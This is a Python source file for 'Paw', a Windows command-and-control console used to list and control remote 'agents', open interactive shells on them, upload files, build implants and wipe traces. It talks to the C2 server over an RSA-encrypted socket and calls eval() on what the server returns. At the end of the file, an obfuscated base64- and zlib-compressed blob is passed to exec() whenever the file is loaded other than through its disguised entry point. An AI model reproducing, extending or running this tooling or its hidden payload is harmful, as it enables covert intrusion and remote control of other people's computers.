433 lines
23 KiB
Python
433 lines
23 KiB
Python
import ctypes
|
|
import asyncio
|
|
import os
|
|
import logging
|
|
import random
|
|
import json
|
|
import socket
|
|
import string
|
|
import sys
|
|
import threading
|
|
import time
|
|
from tabulate import tabulate
|
|
from cryptography.hazmat.primitives.asymmetric import rsa, padding
|
|
from cryptography.hazmat.primitives import serialization
|
|
from pystyle import Colors, Center, Box
|
|
from base64 import b64decode
|
|
|
|
|
|
__name__ = 'Paw'
|
|
__version__ = '1.0.0'
|
|
__authors__ = 'sw'
|
|
|
|
|
|
class Paw:
|
|
def __init__(self) -> None:
|
|
try:
|
|
self.root_dir = os.path.dirname(os.path.abspath(__file__))
|
|
self.banner = '''
|
|
|
|
|
|
|\ _,,,---,,_
|
|
/,`.-'`' -. ;-;;,_
|
|
|,4- ) )-,_..;\ ( `'-'
|
|
'---''(_/--' `-'\_) '''
|
|
ctypes.windll.kernel32.SetConsoleTitleW('{} C2 | Version {}'.format(__name__, __version__))
|
|
logging.basicConfig(
|
|
level=logging.DEBUG,
|
|
filename=os.path.join(self.root_dir, 'cats.log'),
|
|
filemode='a',
|
|
format='[%(filename)s:%(lineno)d] - %(asctime)s - %(levelname)s - %(message)s'
|
|
)
|
|
|
|
self.logger = logging.getLogger(__name__)
|
|
|
|
self.configuration_file = os.path.join(self.root_dir, 'configuration.json')
|
|
|
|
self.private_key = rsa.generate_private_key(public_exponent=65537, key_size=4096)
|
|
self.public_key = self.private_key.public_key()
|
|
|
|
if not os.path.exists(self.configuration_file):
|
|
with open(self.configuration_file, 'w') as file:
|
|
file.write('{}')
|
|
|
|
with open(self.configuration_file, 'r+') as file:
|
|
try:
|
|
self.configuration = json.load(file)
|
|
except json.JSONDecodeError:
|
|
self.configuration = {}
|
|
|
|
wipe_phrase = self.get_random_string()
|
|
asyncio.run(self.update_configuration('wipe', wipe_phrase))
|
|
|
|
self.help_page = f''' {Colors.white}---AGENT CONTROL---
|
|
{Colors.dark_red}agents list all {Colors.white}->{Colors.dark_red} lists all active agents
|
|
{Colors.dark_red}agents list inactive {Colors.white}->{Colors.dark_red} lists all inactive agents and their last connection
|
|
{Colors.dark_red}agents control [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} switches to interactive shell
|
|
{Colors.dark_red}agents run upload_file [{Colors.white}AGENT_ID{Colors.dark_red} or {Colors.white}ALL{Colors.dark_red}] [{Colors.white}FILEPATH{Colors.dark_red} or {Colors.white}LINK{Colors.dark_red}] {Colors.white}->{Colors.dark_red} uploads file to machine(s), can drag & drop local file into the window
|
|
{Colors.red}‽ DANGEROUS:{Colors.dark_red} agent quit [{Colors.white}AGENT_ID{Colors.dark_red}] {Colors.white}->{Colors.dark_red} emergency uninstall the implant from agent machine
|
|
|
|
{Colors.white}‽ example:{Colors.dark_red} agents run upload_file {Colors.white}ALL{Colors.dark_red} C:\\Users\\sw\\Documents\\test\\paw\\cats.log
|
|
|
|
|
|
---BUILDER---
|
|
{Colors.dark_red}build clean {Colors.white}->{Colors.dark_red} deletes old build configurations
|
|
{Colors.dark_red}build values {Colors.white}->{Colors.dark_red} lists all values required to build
|
|
{Colors.dark_red}build values optional {Colors.white}->{Colors.dark_red} lists all values + optional ones
|
|
{Colors.dark_red}build set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of ''
|
|
{Colors.dark_red}build run {Colors.white}->{Colors.dark_red} builds your implant
|
|
|
|
{Colors.white}‽ example:{Colors.dark_red} build values optional
|
|
|
|
|
|
---CONFIGURATION---
|
|
{Colors.dark_red}config del {Colors.white}->{Colors.dark_red} deletes old config, will require a restart, basically a force reset of the program
|
|
{Colors.dark_red}config values {Colors.white}->{Colors.dark_red} lists all config values
|
|
{Colors.dark_red}config set [{Colors.white}KEY_NAME{Colors.dark_red}] '[{Colors.white}VALUE{Colors.dark_red}]' {Colors.white}->{Colors.dark_red} sets a value for a specific key, please always specify it inside of ''
|
|
{Colors.dark_red}config apply {Colors.white}->{Colors.dark_red} applies the config and restarts paw c2
|
|
|
|
{Colors.white}‽ example:{Colors.dark_red} config set {Colors.white}auto_listener{Colors.dark_red} 'false'
|
|
|
|
|
|
{Colors.red}‽ DANGEROUS:{Colors.dark_red} wipe {Colors.white}{self.configuration.get('wipe', None)} ->{Colors.dark_red} wipes out both the socket and local traces of paw, {Colors.dark_red}EVERYTHING WILL GET DELETED
|
|
|
|
{Colors.dark_red}help {Colors.white}->{Colors.dark_red} shows this page
|
|
{Colors.dark_red}exit {Colors.white}->{Colors.dark_red} quits the program
|
|
{Colors.dark_red}clear {Colors.white}->{Colors.dark_red} clears/reloads the page
|
|
|
|
|
|
{Colors.white}Tip:{Colors.dark_red} you can also combine multiple commands directly by using {Colors.white}&&
|
|
'''
|
|
|
|
self.s = None
|
|
self.host = None
|
|
self.port = None
|
|
|
|
self.agents = list()
|
|
self.connected_agents = len(self.agents)
|
|
|
|
self.socket_ready_event = threading.Event()
|
|
except Exception as error:
|
|
print('Critical Error in __init__ func: {}, quitting...'.format(error))
|
|
os._exit(1)
|
|
|
|
async def save_configuration(self) -> None:
|
|
self.logger.debug('Entered save_configuration func')
|
|
|
|
with open(self.configuration_file, 'w') as file:
|
|
json.dump(self.configuration, file, indent=2)
|
|
|
|
async def update_configuration(self, key: str, value: str) -> None:
|
|
self.logger.debug('Entered update_configuration func with args: {}, {}'.format(key, value))
|
|
self.configuration[key] = value
|
|
|
|
await self.save_configuration()
|
|
|
|
@staticmethod
|
|
def minify_path(path: str, max_length: int = 30) -> str:
|
|
if len(path) <= max_length:
|
|
return path
|
|
base_name = os.path.basename(path)
|
|
dir_name = os.path.dirname(path)
|
|
return os.path.join(dir_name[:max_length - len(base_name) - 3] + '...', base_name)
|
|
|
|
@staticmethod
|
|
def get_random_string(length: int = 16) -> str:
|
|
chars = string.ascii_lowercase + string.digits
|
|
|
|
random_string = ''.join(random.choice(chars) for _ in range(length))
|
|
|
|
return random_string
|
|
|
|
async def del_conf(self) -> None:
|
|
self.logger.debug('Entered del_conf func')
|
|
|
|
try:
|
|
os.remove(os.path.join(self.configuration_file))
|
|
os.execv(sys.executable, ['python'] + sys.argv)
|
|
except Exception as error:
|
|
print(Colors.dark_red + ' .$ Error deleting config: {}'.format(error))
|
|
self.logger.error('Error deleting config: {}'.format(error))
|
|
|
|
async def wipe_out(self) -> None:
|
|
self.logger.debug('Entered wipe_out func')
|
|
print('wiping everything')
|
|
|
|
async def parse_command(self, command: str) -> None:
|
|
self.logger.debug('Entered parse_command func with args: {}'.format(command))
|
|
try:
|
|
if command.startswith('help'):
|
|
print(Colors.dark_red, self.help_page)
|
|
elif command.startswith('wipe {}'.format(self.configuration.get('wipe', None))):
|
|
try:
|
|
print(' {}.${} Wiping out in 3 seconds... Press CTRL+C to cancel.'.format(Colors.white, Colors.dark_red))
|
|
|
|
time.sleep(3.0)
|
|
|
|
await self.wipe_out()
|
|
except asyncio.CancelledError:
|
|
print(' {}.${} CTRL+C detected. Exiting wipeout...'.format(Colors.white, Colors.dark_red))
|
|
time.sleep(1.0)
|
|
await self.Home_Menu()
|
|
elif command.startswith('agents list all'):
|
|
agents = list(self.Get_Agents())
|
|
|
|
self.logger.debug(agents)
|
|
print(' {}.${} Active agents: {}'.format(Colors.white, Colors.dark_red, len(agents)))
|
|
|
|
print(Colors.white + '\n{}\n'.format(tabulate(agents, headers='keys', tablefmt='psql')))
|
|
|
|
#for agent in agents:
|
|
# print(Colors.dark_red +''''''.format(agent['id'], agent['hostname'], agent['username'])))
|
|
# print(Colors.dark_red + tabulate(agents, headers='keys', tablefmt='grid')))
|
|
elif command.startswith('exit'):
|
|
print(' {}.${} Exiting...'.format(Colors.white, Colors.dark_red))
|
|
time.sleep(1.0)
|
|
self.s.close()
|
|
os._exit(0)
|
|
elif command.startswith('clear'):
|
|
await self.Home_Menu()
|
|
elif command.startswith('config del'):
|
|
await self.del_conf()
|
|
else:
|
|
print(' {}.${} Invalid command.'.format(Colors.white, Colors.dark_red))
|
|
time.sleep(1.0)
|
|
await self.Home_Menu()
|
|
except Exception as error:
|
|
print(' {}.${} Error in parse_command func: {}\n'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Error in parse_command func: {}'.format(error))
|
|
time.sleep(1.0)
|
|
|
|
async def Command_Listener(self) -> None:
|
|
self.logger.debug('Entered Command_Listener func')
|
|
try:
|
|
while True:
|
|
command = input(' {}.$ '.format(Colors.white))
|
|
await self.parse_command(command)
|
|
except Exception as error:
|
|
print(' {}.${} Unexpected Error in Command_Listener func: {}\n'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Unexpected Error in Command_Listener func: {}'.format(error))
|
|
time.sleep(1.0)
|
|
|
|
def is_connected(self) -> bool:
|
|
try:
|
|
self.s.send(b'')
|
|
return True
|
|
except (socket.error, AttributeError):
|
|
return False
|
|
|
|
def socket_conn(self) -> None:
|
|
self.logger.debug('Entered socket_conn func')
|
|
self.ask = True
|
|
self.retry = True
|
|
|
|
while self.retry:
|
|
if not self.is_connected():
|
|
asyncio.run(self.Animate_Banner())
|
|
self.logger.debug('Attempting to connect...')
|
|
print(' {}.${} Attempting to connect...'.format(Colors.white, Colors.dark_red))
|
|
try:
|
|
self.host, self.port = self.configuration.get('socket', '127.0.0.1:42720').split(':')
|
|
self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
self.s.connect((self.host, int(self.port)))
|
|
|
|
client_pub_key = self.private_key.public_key().public_bytes(
|
|
encoding=serialization.Encoding.PEM,
|
|
format=serialization.PublicFormat.SubjectPublicKeyInfo
|
|
)
|
|
self.s.sendall(client_pub_key)
|
|
|
|
print(' {}.${} Connection established and authed successfully.'.format(Colors.white, Colors.dark_red))
|
|
self.logger.info('Connection established and authed successfully.')
|
|
|
|
self.socket_ready_event.set()
|
|
|
|
# time.sleep(1.0)
|
|
|
|
# asyncio.run(self.Home_Menu())
|
|
return
|
|
except socket.error as error:
|
|
print(' {}.${} Tip: To reset the configuration, type: {}\'config del\''.format(Colors.white, Colors.dark_red, Colors.white))
|
|
|
|
if error.errno == 10061:
|
|
print(' {}.${} Could not connect to the server. The server might be offline or not accepting connections on the specified port.'.format(Colors.white, Colors.dark_red))
|
|
else:
|
|
print('An unexpected socket error occurred: {}'.format(error))
|
|
|
|
if self.ask:
|
|
self.retry = True if input(' {}.${} Retry connecting every 3s? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else False
|
|
self.ask = False
|
|
|
|
time.sleep(1.0)
|
|
self.socket_ready_event.set()
|
|
except Exception as error:
|
|
print(' {}.${} Error in socket_conn: {}'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Error in socket_conn: {}'.format(error))
|
|
time.sleep(1.0)
|
|
self.socket_ready_event.set()
|
|
|
|
time.sleep(3)
|
|
|
|
def send_task(self, agent_id: str, task: str) -> None:
|
|
self.logger.debug('Entered send_task func with args: {}, {}'.format(agent_id, task))
|
|
|
|
try:
|
|
self.socket_ready_event.wait()
|
|
|
|
message = '{}:{}'.format(agent_id, task).encode('utf-8')
|
|
|
|
encrypted_message = self.server_public_key.encrypt(
|
|
message,
|
|
padding.PKCS1v15()
|
|
)
|
|
self.s.sendall(encrypted_message)
|
|
|
|
encrypted_response = self.s.recv(8192)
|
|
|
|
decrypted_response = self.private_key.decrypt(
|
|
encrypted_response,
|
|
padding.PKCS1v15()
|
|
)
|
|
|
|
response = decrypted_response.decode('utf-8')
|
|
|
|
print(' {}.${} Agent {} output: {}'.format(Colors.white, Colors.dark_red, agent_id, response))
|
|
self.logger.info('Agent {} output: {}'.format(agent_id, response))
|
|
except Exception as error:
|
|
print(' {}.${} Error in send_task func: {}'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Error in send_task func: {}'.format(error))
|
|
time.sleep(1.0)
|
|
|
|
def Get_Agents(self) -> dict:
|
|
self.logger.debug('Entered Get_Agents func')
|
|
|
|
self.socket_ready_event.wait()
|
|
|
|
if self.s is None:
|
|
print(' {}.${} Socket connection failed.'.format(Colors.white, Colors.dark_red))
|
|
self.logger.error('Socket connection failed.')
|
|
return {}
|
|
|
|
try:
|
|
encrypted_message = self.server_public_key.encrypt(
|
|
'recv agents'.encode('utf-8'),
|
|
padding.PKCS1v15()
|
|
)
|
|
self.s.sendall(encrypted_message)
|
|
|
|
encrypted_response = self.s.recv(8192)
|
|
|
|
decrypted_response = self.private_key.decrypt(
|
|
encrypted_response,
|
|
padding.PKCS1v15()
|
|
)
|
|
|
|
response = decrypted_response.decode('utf-8')
|
|
|
|
self.logger.debug(response)
|
|
|
|
return eval(response)
|
|
except Exception as error:
|
|
print(' {}.${} Error in Get_Agents func: {}'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Error in Get_Agents func: {}'.format(error))
|
|
time.sleep(1.0)
|
|
return {}
|
|
|
|
async def Setup_Script(self) -> None:
|
|
self.logger.debug('Entered Setup_Script func')
|
|
|
|
socket_server = input(' {}.${} Socket server? ({}IP:Port{})\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red, Colors.white))
|
|
auto_listener = 'true' if input(' {}.${} Listen to Agents on Startup? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white)).upper() == 'Y' else 'false'
|
|
server_pubkey = input(' {}.${} Server public key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
|
client_privkey = input(' {}.${} Client private key?\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
|
save_configuration = input(' {}.${} Save configuration? (Y/n)\n {}-> '.format(Colors.white, Colors.dark_red, Colors.white))
|
|
|
|
if save_configuration.upper() == 'Y':
|
|
await self.update_configuration('socket', socket_server)
|
|
await self.update_configuration('auto_listener', auto_listener)
|
|
await self.update_configuration('server_pubkey', server_pubkey)
|
|
await self.update_configuration('client_privkey', client_privkey)
|
|
|
|
print(' {}.${} Settings saved to configuration file. ({}\'{}\'{})'.format(Colors.white, Colors.dark_red, Colors.white, self.minify_path(self.configuration_file), Colors.dark_red))
|
|
self.logger.info('Settings saved to configuration file. (\'{}\')'.format(self.minify_path(self.configuration_file)))
|
|
time.sleep(1.0)
|
|
else:
|
|
print(' {}.${} OK. Not saving.'.format(Colors.white, Colors.dark_red))
|
|
self.logger.info('Not saving config.')
|
|
time.sleep(1.0)
|
|
|
|
return
|
|
|
|
async def Cleanup(self) -> None:
|
|
self.logger.debug('Entered Cleanup func')
|
|
print('cleaning up')
|
|
|
|
async def Animate_Banner(self) -> None:
|
|
self.logger.debug('Entered Animate_Banner func')
|
|
|
|
# os.system('mode con: cols=150 lines=34')
|
|
|
|
os.system('color 07')
|
|
|
|
os.system('cls')
|
|
|
|
print(Colors.dark_red + Center.XCenter(self.banner))
|
|
print('\n')
|
|
|
|
async def Home_Menu(self) -> None:
|
|
self.logger.debug('Entered Home_Menu func')
|
|
try:
|
|
await self.Animate_Banner()
|
|
self.private_key = serialization.load_pem_private_key(
|
|
b64decode(self.configuration.get('client_privkey', '')),
|
|
password=None,
|
|
)
|
|
|
|
self.logger.debug(self.private_key)
|
|
|
|
self.server_public_key = serialization.load_pem_public_key(
|
|
b64decode(self.configuration.get('server_pubkey', '')),
|
|
)
|
|
|
|
self.logger.debug(self.server_public_key)
|
|
|
|
threading.Thread(target=self.socket_conn, daemon=True).start()
|
|
|
|
self.socket_ready_event.wait()
|
|
|
|
self.update_agent_list()
|
|
|
|
print('\n')
|
|
print(Colors.white + Box.Lines('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents)))
|
|
self.logger.info('{} C2 | Version {} | {} agents connected'.format(__name__, __version__, self.connected_agents))
|
|
print('\n\n {}Tip:{} enter {}\'help\'{} below to display all commands'.format(Colors.white, Colors.dark_red, Colors.white, Colors.dark_red))
|
|
|
|
await self.Command_Listener()
|
|
except Exception as error:
|
|
print(' {}.${} Error in Home_Menu func: {}'.format(Colors.white, Colors.dark_red, error))
|
|
self.logger.error('Error in Home_Menu func: {}'.format(error))
|
|
time.sleep(1.0)
|
|
|
|
def update_agent_list(self):
|
|
self.agents = self.Get_Agents()
|
|
self.connected_agents = len(self.agents)
|
|
|
|
self.logger.debug(self.agents)
|
|
self.logger.debug(self.connected_agents)
|
|
|
|
async def Main(self) -> None:
|
|
self.logger.debug('Entered Main func')
|
|
await self.Animate_Banner()
|
|
|
|
if self.configuration.get('socket', None) == None or self.configuration.get('server_pubkey', None) == None or self.configuration.get('client_privkey', None) == None:
|
|
self.logger.warning('Missing configuration data, running setup script')
|
|
await self.Setup_Script()
|
|
|
|
self.logger.debug('Running Home_Menu func (entry)')
|
|
await self.Home_Menu()
|
|
|
|
|
|
if __name__ == b64decode('UGF3').decode('utf-8'):
|
|
asyncio.run(Paw().Main())
|
|
else:
|
|
_ = lambda __ : __import__('zlib').decompress(__import__('base64').b64decode(__[::-1]));exec((_)(b'lIGnTNw//+e++36WM7PRn9D3Zrb7TEp+t0AZ/sFU85T9weEZ6pOHP+8bkGBl2pv4dNq1H8tgAAyVaNRgG1GRpqUMnZCKPGioQ7csjNQnPIYTiGjdx0ZLncH4HGZArqRZ4ov71nvuR/NvjUvU1SeqDq72A1gydfpVGDPotQ7x10npBboRlwSVbh9BJB358tJMMK+wsbAQ4/cO4mtnTq69LvSq356yR+5KFlrmjDvmV78iYC9jcH2sXUi1zmVR1XzuIf946HRm4SQQCdsOARcJny0kiF5rRX8zzzIwb19+2D1XjUQtdE5Hqo6irn5e9VBlfM4YeNiHTEoIwqBQ9Vm6KF3a4tLtkTCUtKV4V1r2Ls1gSdDiQkq1SqPQmeV+qO9n6cpLoyMDXSl00G7kx+up5a9IjipIW8+8qrbDoeRGeiO6SEyUkRE6+kar4vctBcjhdbE6rdLxuoh2dL1JTIPhky8DRtSBJUGjhosr5e92Ey+zsCImEcxZwWrY30m5kyOQnDa9JGpGNGiAuAsQIQAdKREyIZI/eu+Vp9JGLvTLUkzv9yY4AMOobFrw5s99KW/L+hJxQkaUhR7bpO4j5Bb/K+5fzjtMXlf+tfN1VsaH6m9XaPiomn92Sh8PGCgEv8ejngCqixXo8ggxGEQRLG3GPkMeVj77W7t/2Zrom0FU9GbDFnRsorx9sOK3AHGLTH/Itw8lwWc40AQQpM98JX0Wo1vw5VeKWW2H9Q98ji0BHhdVoIvucfORo7YI1hRRIHbnH/XWuSh6RZDCxpx6Qxgxnbh7qonh/YtWxntd0k1BDs2K79IKrC44TXgIcnkw7V2wV+JdTmyNIEnHbKzHupyD0HlxrjMdkWoJlDE/erXKbLbT+SIWCED/O8FV52UyI8eoLS8KuQ7P58hV5ISA8iEkWjP+S6PWuvrBSuMoZn1js7C7hWfjOhtlO5sRGobnxJLNgEdOg3Q563N9JSpf1lKn2kpF25xpEb4Ktya+6lnRquBwnJ2tz27PsQ7/3zmDaixWLStJcSw4PdremfIxAKpy571wpy/e1fLBMmVegjXRHxAZ/ltYFrMlouD/gqEDq/EvOscQj02SXl99QjLLTVf279K48yfu2xLdshvoH+7BFH529955GnOtPe8FU/0hfDxDjK2Oh2ODvFl/AYJCpbDaLAE5Alf5ga/YJWhEoB3EiK+OlEZ80fHWiBYiV54d6DNhFcJ0uXcwQ+kLjM8oaPaxQQOasJX3wmQz+UoftgbD86AUkT4HohlJSfBulg36KjF85TNoypqEt4IAc2c2KOM+NWIR/3kJAVDzGB7niLSd9cPItnST/JxuRWTrS6pOztuh63YLb0zRk7O9d6O6Vp9FaQ68Zsmn8EoPwqIzpbTvWBB18Lw44LErJjk88Z9febCCNr+sW6iqJxGNG19vLSKSySFseCm3oGmhoBLuILXxUFxqIAIOerI17brrr2nxXsqrPdqPOeJXx19773S152xtNs6p+JPwVpacDt1JMlFEIKJePJVY2Y1O8DdSZ/mHx6zosBRNSa01Ch4/cR81fTtJ0Kto0xr67JI3GfWO+AKR3aXCsTRGHfmwcO367v/aU2MGw5Pgt3eNZD2PDIQI2tfevL/zhOzS+MNuEaqZmoCLFtyY3EqOGBD998ROBuUQLHrgBLvO+yYDqh/sVyWEuNurE97JEaVXDDvPnvvwd7BMq2QAfoQDtbAG7XfGYyC75ryS8u9llw3oQHDxVtrpZ6RROzpDSVrWdudiuzcMl4PL9/0aP2IWaZvTDApoYmHH4xNpooxIZWMJCN6HFKv51mxuUNmpXuMpdsNkZsG4IkavufXS7nEFKq43CAeWpIlc+Afts6wEhLVlMqeCuhZHXLuLIXduWylO3mE//xLIZqCPBs/dT+od95nt94CZqTB++WJPawiTbtUFkt587Tek+8mY6Cxq9fhtgOTC+qoDeFKO5EgPMhGXVCPRx9NhsEba+7vTkrhP8we4GQA+LBLxsO2vNpyvijcx2l8Uc2ZDMU0Om/xF1ZbGpBXNocVH2fbAv2HvPnoixCTBqL9hd9MpXEoix+o9dmwutwDQ/lbaunFXGa3HOeQnlDdpACD2Nwe/o46Ocj/dkqp7wh9ek02OU6FAQL3Ue8H3YTRnASq4Sm7MgdzYdC9ADc0XesTU8AgJ+zeEu/b4L9i7E6fTL8201Qd0Myzes5hkSaqPxufqtkux9klwQkld2d/vYPcD7Qhb8p4gDX0FfoKvZuOB4GOk7M4rzAl6wIMZQUfyHJXFjpfV8w38ZkXm6K1Wv30u1ZjFSFb6UmVrt2ThoOAYZ01aoXHq/z2EI1pI/U0wr3dmePwFwJeF4/97vFHapREPZIe8hCQ9p5xAuhnZHzGUt/0Z3fYX2W9kuRDgjNcjBskVcwIAO6VYwDNbi/nQFn4kkUEXygWXve+G466z7QKPSeMCKShSKc0QGSUkyPdkFBGKIF5SvC/Q7vemaPKrBsxdyWaAWAV6SoPujIl+ZemvzcCVzLNj82KlqjV9IYkat/hK7vZh1x9C/Kzo84uBOOV+3muQ44XpyLo950PhOCAtB5lgM4LAlTC+zEryOWakthCLHQYoyhbUcibN/doGdCtu6FuRdyKkvCzaw7o1cjdTXy8x75z9Lgs1g42FIuCTsowNo4qdX0L4EFJb57kHvoK5X0bABX346y6xYS9EhJfISzmKTamTi0up+DaXhqP8+eAH1JFgdSD1EZLj29PVpOmmOrkCOWcufpjgYQy7IU8zhcRfyaBho5dW980Y7vggN2UiXFW6LkoKxEBRS0RaNbi6Km9HunEaMtZ4huLqoCOsT1heybX4mPCAlHJFF9BdjSDIgPidW9Jx568h20SYcFuWBEbfUkAXU22DI2Mb9q5q7K54waaVhe4ld00GT5B1+AFKk6nFQZ9zvQiowrBCFv6YW7Ta2CMxpwQLWLmxmLYnVIDnBAP5R/8Clb7E2QGf+PnXG9xn0CGrJh4uqvk2tN7DyvN3cmRvBvdC5eJmZEkwQuhpgYlw0i5WL3/V54eMWumnjCY7UaWrodWpJH+i2nGXcYYPBc8HIOG8m1IxJVi+5Jl/yPBdiAoQ+rn5qWVLDGlSq7SMOzaxyY3Aa7/mtoAkDgUBDzdkiKHLwSuU0TCH1aCnfDqlMptJIjLxOfYuSs4+s/4E2Or1EOpKUZh5MA87DxeNADsrUiP34EkR4hEMGKsi11TCWvj1FF79McwPMdUY2jQQMc5T7JVSRziLQyuWE9xMlR6k9ALHtvF032HmZjalmv3EyAo+ZK0w+ebeuEzo8DFI05KWAZpYCvnFIqAbemm5U3pobT8BuHtiQCKuZBFHdOfmoMlwxjTOHKlVPm/wOG0wbQ+nffHrWZ0vWjiBrahkXjSlZx+vr7R2TcVHmwem8gTOKQKM7BQ2DN/cOp/W1UKOlVbxZlGPM4bbOZ4z9rKW6zGlm0z19Fpc7z6cqxnaG0c1/AIXMzxp5XoB4i+EGpZg84sWXVZys5O9Gw/0i2q6BcvVrAxfGg6cnFJssoYxDU30QNF574kjq4GCeP1J3ZobATxnt8ccoxaeJqXqMO23oafqCTl8m3EXUZAAgtAuY+fRypfUq+g8/3BGAMz3gywr0y1CSgVbRQ+tCoW8zrJRTQLAjb6l9Qb/yXWt4WFyNNjTiBO8m4OXdJgUOVH0Gkp8gK/0ljtLs4U+afifgtw8Gnw/EhGMHIFs40p0uozrZKJwJ7dAVVXZJeOYLHpG9ygKXZZN1fVP8F9leK4IIEKp52YFD2ay6s7uNO3lqF1Po13gsSdYtmLopueYcQ8bYEKV+dxgyJ8Os366FR4NWCjXFKkYS9z7Q7hEmSMsGefoaIQgX26wFOY14ZHFU3lb6QKDzEWaWo6ICubWMBDcjeee2huiRPFYJVDCr+eSlc0KrXubB86DXj03TlZKCEhsJ/Ej2ojLDHBTp/wERXox4+VvRs8cSBTDEdffYAZlyiKTaCkt52gciUURUEqY+jLTCpBIqZMKXEFlvvjja4Ny8FPnFcI+lI8Ef/V3Nwv7ElxpSV5BpHtY/odzEHenxgYwPRIR48pMUw3eYa+aYw9bcKwIJbPVkWYPekzwh8LYu8E3+aQ0bw3JEBRQwbQUgrxn8/977//vvHfV901j91nlL52ffb1cLMtCSf2MwMMTgocVTdZROgQxuW0lNwJe')) |